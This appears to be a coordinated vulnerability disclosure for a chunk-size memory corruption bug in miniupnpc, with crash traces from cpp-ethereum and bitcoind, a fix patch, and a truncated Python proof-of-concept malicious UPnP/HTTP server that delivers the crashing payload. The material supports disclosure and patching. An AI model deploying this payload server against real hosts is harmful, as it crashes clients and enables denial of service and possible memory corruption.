AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n3\r\nbye\r\n0'> [poc.py - listen() ][INFO] waiting for connection </code><code> #### A) miniupnpc v2.0 </code><code>python [tin@localhost miniupnpc]$ gdb --args ./upnpc-static-u http://192.168.2.104:65000/xxxx.xml -d -s ... (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/tin/miniupnp/miniupnpc/./upnpc-static -u http://192.168.2.104:65000/xxxx.xml -d -s upnpc : miniupnpc library test client, version 2.0. (c) 2005-2016 Thomas Bernard. Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/ for more information. parsed url : hostname='192.168.2.104' port=65000 path='/xxxx.xml' scope_id=0 address miniwget : 192.168.2.113 header='Transfer-Encoding', value='chunked' chunked transfer-encoding! header='Content-Length', value='9041'//#!user provided content length (valid) Content-Length: 9041 header='Content-Type', value='text/html' chunksize = 15 (f) chunksize = 2147483648 (80000000)//#!user provided chunk size 0x80000000 Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) up #10x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306 306memcpy(content_buf + content_buf_used, buf + i, bytestocopy); (gdb) bt #00x00007ffff7b631a6 in __memcpy_ssse3_back () from /lib64/libc.so.6 #10x000000000040897f in getHTTPResponse (s=s@entry=7, size=size@entry=0x7fffffffd59c, status_code=status_code@entry=0x0) at miniwget.c:306 #20x0000000000408d5c in miniwget3 (host=host@entry=0x7fffffffd500 "192.168.2.104", port=<optimized out>, path=0x7fffffffe73c "/xxxx.xml", size=size@entry=0x7fffffffd59c, addr_str=addr_str@entry=0x7fffffffe320 "192.168.2.113", addr_str_len=addr_str_len@entry=64, httpversion=httpversion@entry=0x40b665 "1.1", scope_id=0, status_code=status_code@entry=0x0) at miniwget.c:468 #30x00000000004091f1 in miniwget2 (status_code=0x0, scope_id=<optimized out>, addr_str_len=64, addr_str=0x7fffffffe320 "192.168.2.113", size=0x7fffffffd59c, path=<optimized out>, port=<optimized out>, host=0x7fffffffd500 "192.168.2.104") at miniwget.c:484 #4miniwget_getaddr (url=url@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", size=size@entry=0x7fffffffd59c, addr=addr@entry=0x7fffffffe320 "192.168.2.113", addrlen=addrlen@entry=64, scope_id=scope_id@entry=0, status_code=status_code@entry=0x0) at miniwget.c:659 #50x00000000004043f1 in UPNP_GetIGDFromUrl (rootdescurl=rootdescurl@entry=0x7fffffffe722 "http://192.168.2.104:65000/xxxx.xml", urls=urls@entry=0x7fffffffd6a0, data=data@entry=0x7fffffffd790, lanaddr=lanaddr@entry=0x7fffffffe320 "192.168.2.113", lanaddrlen=lanaddrlen@entry=64) at miniupnpc.c:708 #60x0000000000401f69 in main (argc=<optimized out>, argv=0x7fffffffe478) at upnpc.c:690 (gdb) i lo i = 30 buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 1418 times>... n = 1354 endofheaders = 94 chunked = 1//#!chunked-encoding mode content_length = 9041//#!user provided content-length (valid) chunksize = 2147483648 //#!user provided chunk-size (invalid, 0x80000000) bytestocopy = 2147483648 //#!is our chunk-size. used in call to memcpy as the number of bytes to copy. header_buf = 0x610010 "HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Length: 9041\r\nContent-Type: text/html\r\n\r\nf\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 76 times>... header_buf_len = 2048 header_buf_used = 1448 content_buf = 0x610820 "<xml>BOOM</xml>" content_buf_len = 9041 //#!has been reallocated to content-length (otherwise this would be ~2k) content_buf_used = 15 chunksize_buf = "\000\060\060\060\060\060\060\060\000\311\377\377\377\177\000\000\313\305@\000\000\000\000\000\005\000\000\000\000\000\000" chunksize_buf_index = 0 reason_phrase = 0x0 reason_phrase_len = 0 </code><code> #### B) cpp-ethereum v1.3.0 </code><code>python [tin@localhost ~]$ eth --version eth version 1.3.0 eth network protocol version: 63 Client database version: 12041 Build: Linux/g++/Interpreter/RelWithDebInfo [tin@localhost miniupnpc]$ gdb --args eth -v 9 ... (gdb) r Starting program: /usr/bin/eth -v 9 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". cpp-ethereum, a C++ Ethereum client ...05:57:56 PM.351|ethReading /home/... â§ â ¹05:57:56 PM.358|ethId: ##013a7f1f⦠[New Thread 0x7fffe6191700 (LWP 9306)] ...05:57:56 PM.371|ethOpened blockchain DB. Latest: #5203fef2⦠(rebuild not needed) [New Thread 0x7fffe5990700 (LWP 9307)] ...05:57:56 PM.374|ethOpened state DB. [New Thread 0x7fffe4e2a700 (LWP 9308)] â§« â05:57:56 PM.375|ethstartedWorking() cpp-ethereum 1.3.0 By cpp-ethereum contributors, (c) 2013-2016. See the README for contributors and credits. Transaction Signer: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Mining Beneficiary: XE50000000000000000000000000000000 (00000000-0000-0000-0000-000000000000 - 00000000) Foundation: XE55PXQKKKXXXXXXXXT1XCYW6R5ELFAT6EM (00000000-0000-0000-0000-000000000000 - de0b2956) [New Thread 0x7fffd7fff700 (LWP 9309)] [New Thread 0x7fffd77fe700 (LWP 9310)] â ¹05:58:00 PM.757|p2pUPnP device: http://192.168.2.104:65000/xxxx.xml [st: urn:schemas-upnp-org:device:InternetGatewayDevice:1 ] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fffd7fff700 (LWP 9309)] 0x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 (gdb) #00x00007ffff3feb0a9 in __memcpy_ssse3_back () from /lib64/libc.so.6 #10x00007ffff4a8bfce in getHTTPResponse () from /lib64/libminiupnpc.so.16 #20x00007ffff4a8c43f in miniwget3.constprop.0 () from /lib64/libminiupnpc.so.16 #30x00007ffff4a8c873 in miniwget () from /lib64/libminiupnpc.so.16 #40x00007ffff62cb97f in dev::p2p::UPnP::UPnP() () from /lib64/libp2p.so #50x00007ffff633d2d0 in dev::p2p::Network::traverseNAT(std::set<boost::asio::ip::address, std::less<boost::asio::ip::address>, std::allocator<boost::asio::ip::address> > const&, unsigned short, boost::asio::ip::address&) () from /lib64/libp2p.so #60x00007ffff62eed05 in dev::p2p::Host::determinePublic() () from /lib64/libp2p.so #70x00007ffff62ef3b3 in dev::p2p::Host::startedWorking() () from /lib64/libp2p.so #80x00007ffff610e979 in dev::Worker::startWorking()::{lambda()#1}::operator()() const () from /lib64/libdevcore.so #90x00007ffff4831220 in ?? () from /lib64/libstdc++.so.6 #10 0x00007ffff72cddc5 in start_thread () from /lib64/libpthread.so.0 #11 0x00007ffff3f97ced in clone () from /lib64/libc.so.6 </code><code> #### C) bitcoind 0.13.2 (windows) </code><code>c #> bitcoin-0.13.2\bin\bitcoind.exe -upnp -printtoconsole Bitcoin version v0.13.2 ... mapBlockIndex.size() = 1 nBestHeight = 0 setKeyPool.size() = 100 mapWallet.size() = 0 mapAddressBook.size() = 1 init message: Loading addresses... torcontrol thread start Loaded 0 addresses from peers.dat1ms init message: Loading banlist... init message: Starting network threads... upnp thread start init message: Done loading opencon thread start addcon thread start dnsseed thread start msghand thread start net thread start Loading addresses from DNS seeds (could take a while) 132 addresses found from DNS seeds dnsseed thread exit receive version message: /Satoshi:0.13.1/: version xxxx, blocks=xxxxx, us=xxxxxx:57964, peer=1 Pre-allocating up to position 0x100000 in rev00000.dat ... <crash:upnp thread crashing with access violation> //#! missing symbols - stacktrace not really useful. (5fdc.5d34): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found.Defaulted to export symbols for bitcoind.exe - bitcoind!secp256k1_ecdsa_recover+0x1ea44f: 00000000</code>01615f1f f3a4rep movs byte ptr [rdi],byte ptr [rsi] 0:016> !analyze -v -f ******************************************************************************* * * *Exception Analysis * * * ******************************************************************************* FAULTING_IP: bitcoind!secp256k1_ecdsa_recover+1ea44f 00000000<code>01615f1f f3a4rep movs byte ptr [rdi],byte ptr [rsi] EXCEPTION_RECORD:ffffffffffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0000000001615f1f (bitcoind!secp256k1_ecdsa_recover+0x00000000001ea44f) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000008db0000 Attempt to read from address 0000000008db0000 CONTEXT:0000000000000000 -- (.cxr 0x0;r) rax=0000000008385900 rbx=00000000083848a0 rcx=0000000094964738 rdx=0000000000000000 rsi=0000000008db0000 rdi=0000000008388472 rip=0000000001615f1f rsp=0000000008dad3e0 rbp=00000000949672aa r8=0000000008387c80r9=0000000094967295 r10=0000000000000000 r11=0000000008dacd00 r12=00000000949672b8 r13=00000000949672aa r14=00000000000005b4 r15=0000000000000556 iopl=0 nv up ei pl zr na po nc cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010246 bitcoind!secp256k1_ecdsa_recover+0x1ea44f: 00000000</code>01615f1f f3a4rep movs byte ptr [rdi],byte ptr [rsi] FAULTING_THREAD:0000000000005d34 PROCESS_NAME:bitcoind.exe ERROR_CODE: (NTSTATUS) 0xc0000005 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 EXCEPTION_PARAMETER1:0000000000000000 EXCEPTION_PARAMETER2:0000000008db0000 READ_ADDRESS:0000000008db0000 FOLLOWUP_IP: bitcoind!secp256k1_ecdsa_recover+1ea44f 00000000<code>01615f1f f3a4rep movs byte ptr [rdi],byte ptr [rsi] APPLICATION_VERIFIER_FLAGS:0 APP:bitcoind.exe ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre BUGCHECK_STR:APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE PRIMARY_PROBLEM_CLASS:STRING_DEREFERENCE_PROBABLYEXPLOITABLE DEFAULT_BUCKET_ID:STRING_DEREFERENCE_PROBABLYEXPLOITABLE LAST_CONTROL_TRANSFER:from 00000000016160f0 to 0000000001615f1f STACK_TEXT: 00000000</code>08dad3e0 00000000<code>016160f0 : 00000000</code>00000754 00000000<code>00000754 00000000</code>00000000 00000000<code>0823af72 : bitcoind!secp256k1_ecdsa_recover+0x1ea44f 00000000</code>08dadcd0 00000000<code>01616467 : 00000000</code>00000010 00007ffc<code>6a207185 00000000</code>00000000 00000000<code>00000010 : bitcoind!secp256k1_ecdsa_recover+0x1ea620 00000000</code>08dae580 00000000<code>01612e97 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : bitcoind!secp256k1_ecdsa_recover+0x1ea997 00000000</code>08dae650 00000000<code>0124a8fa : 00000000</code>08239840 00007ffc<code>a255cfb6 00000000</code>15040011 00000000<code>00000001 : bitcoind!secp256k1_ecdsa_recover+0x1e73c7 00000000</code>08dae740 00000000<code>0165252a : 00000000</code>00000000 00000000<code>08230000 00000000</code>00000002 00000000<code>08daf980 : bitcoind+0x7a8fa 00000000</code>08daf830 00000000<code>014567c5 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : bitcoind!secp256k1_ecdsa_recover+0x226a5a 00000000</code>08daf940 00007ffc<code>a05cb2ba : 00000000</code>081abb90 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : bitcoind!secp256k1_ecdsa_recover+0x2acf5 00000000</code>08dafb50 00007ffc<code>a05cb38c : 00007ffc</code>a0620670 00000000<code>08237230 00000000</code>00000000 00000000<code>00000000 : msvcrt!beginthreadex+0x12a 00000000</code>08dafb80 00007ffc<code>a0d28364 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : msvcrt!endthreadex+0xac 00000000</code>08dafbb0 00007ffc<code>a25870d1 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : KERNEL32!BaseThreadInitThunk+0x14 00000000</code>08dafbe0 00000000<code>00000000 : 00000000</code>00000000 00000000<code>00000000 00000000</code>00000000 00000000<code>00000000 : ntdll!RtlUserThreadStart+0x21 STACK_COMMAND:.cxr 0x0 ; kb SYMBOL_STACK_INDEX:0 SYMBOL_NAME:bitcoind!secp256k1_ecdsa_recover+1ea44f FOLLOWUP_NAME:MachineOwner MODULE_NAME: bitcoind IMAGE_NAME:bitcoind.exe FAILURE_BUCKET_ID:STRING_DEREFERENCE_PROBABLYEXPLOITABLE_c0000005_bitcoind.exe!secp256k1_ecdsa_recover BUCKET_ID:APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_bitcoind!secp256k1_ecdsa_recover+1ea44f ANALYSIS_SOURCE:UM FAILURE_ID_HASH_STRING:um:string_dereference_probablyexploitable_c0000005_bitcoind.exe!secp256k1_ecdsa_recover </code><code> #### D) bitcoind 0.14.1 (linux) </code><code>python #> src\bitcoind -upnp -printtoconsole pwndbg> bt #0__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:36 #10x00007ffff6abe91e in getHTTPResponse () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #20x00007ffff6abed22 in ?? () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #30x00007ffff6abf12d in miniwget_getaddr () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #40x00007ffff6ac0f9e in UPNP_GetValidIGD () from /usr/lib/x86_64-linux-gnu/libminiupnpc.so.10 #50x000055555560ee0b in ThreadMapPort () at net.cpp:1446 #60x0000555555622e44 in TraceThread<void (*)()> (name=0x555555a81767 "upnp", func=0x55555560ed3a <ThreadMapPort()>) at util.h:218 #70x0000555555689c4e in boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> >::operator()<void (*)(char const*, void (*)()), boost::_bi::list0> (this=0x5555561544c0, f=@0x5555561544b8: 0x555555622dc2 <TraceThread<void (*)()>(char const*, void (*)())>, a=...) at /usr/include/boost/bind/bind.hpp:313 #80x000055555568996a in boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > >::operator() (this=0x5555561544b8) at /usr/include/boost/bind/bind_template.hpp:20 #90x00005555556896eb in boost::detail::thread_data<boost::_bi::bind_t<void, void (*)(char const*, void (*)()), boost::_bi::list2<boost::_bi::value<char const*>, boost::_bi::value<void (*)()> > > >::run (this=0x555556154300) at /usr/include/boost/thread/detail/thread.hpp:117 #10 0x00007ffff753aaea in ?? () from /usr/lib/x86_64-linux-gnu/libboost_thread.so.1.55.0 #11 0x00007ffff5c3a064 in start_thread (arg=0x7fffd97fa700) at pthread_create.c:309 #12 0x00007ffff596f62d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 </code><code> Mitigation / Workaround / Discussion ------------------------------------- * update to miniupnpc-2.0.20170509.tar.gz * disable upnp * or apply the following patch (also see provided patch1.diff, patch2.diff) </code><code>diff --- a/miniupnpc/miniwget.c +++ b/miniupnpc/miniwget.c @@ -280,11 +280,11 @@ getHTTPResponse(int s, int * size, int * status_code) goto end_of_stream; } } - bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); + bytestocopy = ((unsigned int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); if((content_buf_used + bytestocopy) > content_buf_len) { char * tmp; - if(content_length >= (int)(content_buf_used + bytestocopy)) { + if((unsigned int)content_length >= (content_buf_used + bytestocopy)) { content_buf_len = content_length; } else { content_buf_len = content_buf_used + bytestocopy; @@ -309,14 +309,14 @@ getHTTPResponse(int s, int * size, int * status_code) { /* not chunked */ if(content_length > 0 -&& (int)(content_buf_used + n) > content_length) { +&& (content_buf_used + n) > (unsigned int)content_length) { /* skipping additional bytes */ n = content_length - content_buf_used; } if(content_buf_used + n > content_buf_len) { char * tmp; - if(content_length >= (int)(content_buf_used + n)) { + if((unsigned int)content_length >= (content_buf_used + n)) { content_buf_len = content_length; } else { content_buf_len = content_buf_used + n; @@ -336,7 +336,7 @@ getHTTPResponse(int s, int * size, int * status_code) } } /* use the Content-Length header value if available */ - if(content_length > 0 && (int)content_buf_used >= content_length) + if(content_length > 0 && content_buf_used >= (unsigned int)content_length) { #ifdef DEBUG printf("End of HTTP content\n"); </code><code> Notes ----- * Vendor acknowledgement / Miniupnp Changelog [5] * Thanks to the miniupnp project for providing a fixed version within ~1 week! * This research/disclosure was coordinated in cooperation with the ethereum foundation at ethereum.org. Thanks, it was a pleasure working with you! References ---------- [1] http://miniupnp.free.fr/ [2] http://miniupnp.free.fr/files/ [3] https://github.com/miniupnp/miniupnp/tree/master [4] https://github.com/miniupnp/miniupnp/blob/master/miniupnpc/miniwget.c#L236 [5] http://miniupnp.free.fr/files/changelog.php?file=miniupnpc-2.0.20170509.tar.gz [6] https://github.com/miniupnp/miniupnp/commit/f0f1f4b22d6a98536377a1bb07e7c20e4703d229 Contact ------- https://github.com/tintinweb #!/usr/bin/env python # -*- coding: UTF-8 -*- # Author : <github.com/tintinweb> ############################################################################### # # FOR DEMONSTRATION PURPOSES ONLY! # ############################################################################### # #gdb --args ./upnpc-static-u http://192.168.2.110:5200/xxxx.xml -d -s<- segfault # import socket import struct import logging import threading __version__ = 0.3 logger = logging.getLogger(__name__) SCENARIO_CRASH_LARGE_MEMCPY = 1# crash in memcpy with access violation READ (large memcpy) SCENARIO_CRASH_REALLOC_NULLPTR = 2# miniupnpc <= v1.8 did not catch realloc errors SCENARIO_CRASH_1_BYTE_BUFFER = 3# crash in memcpy overwriting heap (more likely crashing in read) SELECT_SCENARIO = SCENARIO_CRASH_LARGE_MEMCPY # default class HttpLikeMessage(object): """ Builds and parses HTTP like message structures. """ linebrk = '\r\n' def __init__(self, raw): self.raw = raw self.header = self.request = self.method = self.path = self.protocol = self.body = None self.parse_fuzzy_http(raw) def startswith(self, other): return self.raw.startswith(other) def parse_fuzzy_http(self, data): data = data.replace('\r', '') try: head, self.body = data.split("\n\n", 1) except ValueError: # no body self.body = '' head = data try: head_items = head.strip().split('\n') self.request = head_items.pop(0) self.method, self.path, self.protocol = self.request.split(" ") self.header = {} for k, v in (line.strip().split(':', 1) for line in head_items if head.strip()): self.header[k.strip()] = v.strip() except Exception, e: logger.exception(e) e.msg = data raise e def serialize(self): lines = [self.request, ] lines += ['%s: %s' % (k, v) for k, v in self.header.iteritems()] return self.linebrk.join(lines) + self.linebrk * 2 + self.body def __str__(self): return self.serialize() def __repr__(self): return "<%s msg=%r header=%r body=%r>" % (self.__class__.__name__, (self.method, self.path, self.protocol), self.header, self.body) class UPnPListener(object): def __init__(self, group="239.255.255.250", port=1900): self.group, self.port = group, port self.callbacks = {} # multicast socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) logger.debug("[SSDP] bind: 0.0.0.0:%s" % port) sock.bind(('0.0.0.0', port)) mreq = struct.pack("=4sl", socket.inet_aton(group), socket.INADDR_ANY) logger.debug("[SSDP] add membership: UDP/%s" % group) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) self.listening = False self.sock = sock self.devices = {} # Start listening def listen(self): self.listening = True # Hint: this should be on a thread ;) logger.debug("[SSDP] listening...") while self.listening: try: # Grab a large wad of data data, peer = self.sock.recvfrom(10240) data = data.decode("utf-8") msg = HttpLikeMessage(data) # msg = HttpLikeMessage(self.sock.recv(10240).decode('utf-8')) logger.debug("[<-----] %r" % msg) # execute callback if available cb = self.callbacks.get(msg.method, None) cb and cb(self, msg, peer) except Exception, e: logger.exception(e) # Register the uuid to a name -- as an example ... I put a handler here ;) def register_device(self, name="", uuid=""): logger.debug("%s; %s" % (name, uuid)) if name == "" or uuid == "": logger.error("[SSDP] Error registering device, check your name and uuid") return # Store uuid to name for quick search self.devices[uuid] = name def register_callback(self, name, f): logger.debug("[SSDP] add callback for %r : %r" % (name, f)) self.callbacks[name] = f class BadHttpServer(threading.Thread): def __init__(self, bind, filter=None): threading.Thread.__init__(self) self.bind = bind self.filter = filter def __repr__(self): return "<%s bind=%s>" % (self.__class__.__name__, repr(self.bind)) def run(self, ): self.listen(filter=self.filter) def listen(self, filter=None): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) logger.info("[HTTP] bind %s:%d"%self.bind) sock.bind(self.bind) # Listen for incoming connections sock.listen(1) while True: # Wait for a connection logger.info("[HTTP] waiting for connection") connection, client_address = sock.accept() try: if filter and client_address[0] not in filter: raise Exception("[HTTP] wait for different client: %s!=%s" % (client_address[0], filter)) logger.info("[] connection from: %s" % repr(client_address)) chunks = [] # TODO refactor crappy code while True: data = connection.recv(1024 * 8) if not data: break chunks.append(data) if data.endswith("\r\n\r\n"): break logger.debug(data) self.handle_request(client_address, connection, HttpLikeMessage(''.join(chunks))) except Exception, e: logger.warning(repr(e)) finally: # Clean up the connection connection.close() def send(self, client, connection, chunks): """ :param client: :param chunks: :param connection: :return: """ template = """HTTP/1.1 200 OK Content-Type: text/html """ ans = HttpLikeMessage(template) if len(chunks) == 1: length, data = chunks[0] ans.header["Content-Length"] = length or len(data) ans.body = data else: ans.header["Transfer-Encoding"] = "chunked" body = [] for chunk in chunks: length, data = chunk body.append("%x%s%s%s" % (length or len(data), ans.linebrk, data, ans.linebrk)) body.append("0") ans.body = ''.join(body) if SELECT_SCENARIO==SCENARIO_CRASH_LARGE_MEMCPY: ans.header["Content-Length"] = len(ans.body) elif SELECT_SCENARIO==SCENARIO_CRASH_1_BYTE_BUFFER: # memcpy 0x80000000+x bytes to a buffer of 1 byte size. ans.header["Content-Length"] = 1# forces a realloc of 1 byte else: # realloc with 0x7fffffff, memcpy n=chunk_size:0x80000000+x - crashes if realloc fails ans.header["Content-Length"] = 0x7fffffff# forces a realloc of x bytes connection.sendall(str(ans)) logger.debug(str(ans)) logger.warning("[----->] BOOM! payload delivered! - [to:%r] %r" % (client, ans)) def handle_request(self, client, connection, msg): if False and "AddPortMapping" not in str(msg): chunks = [(None, "<>")] else: 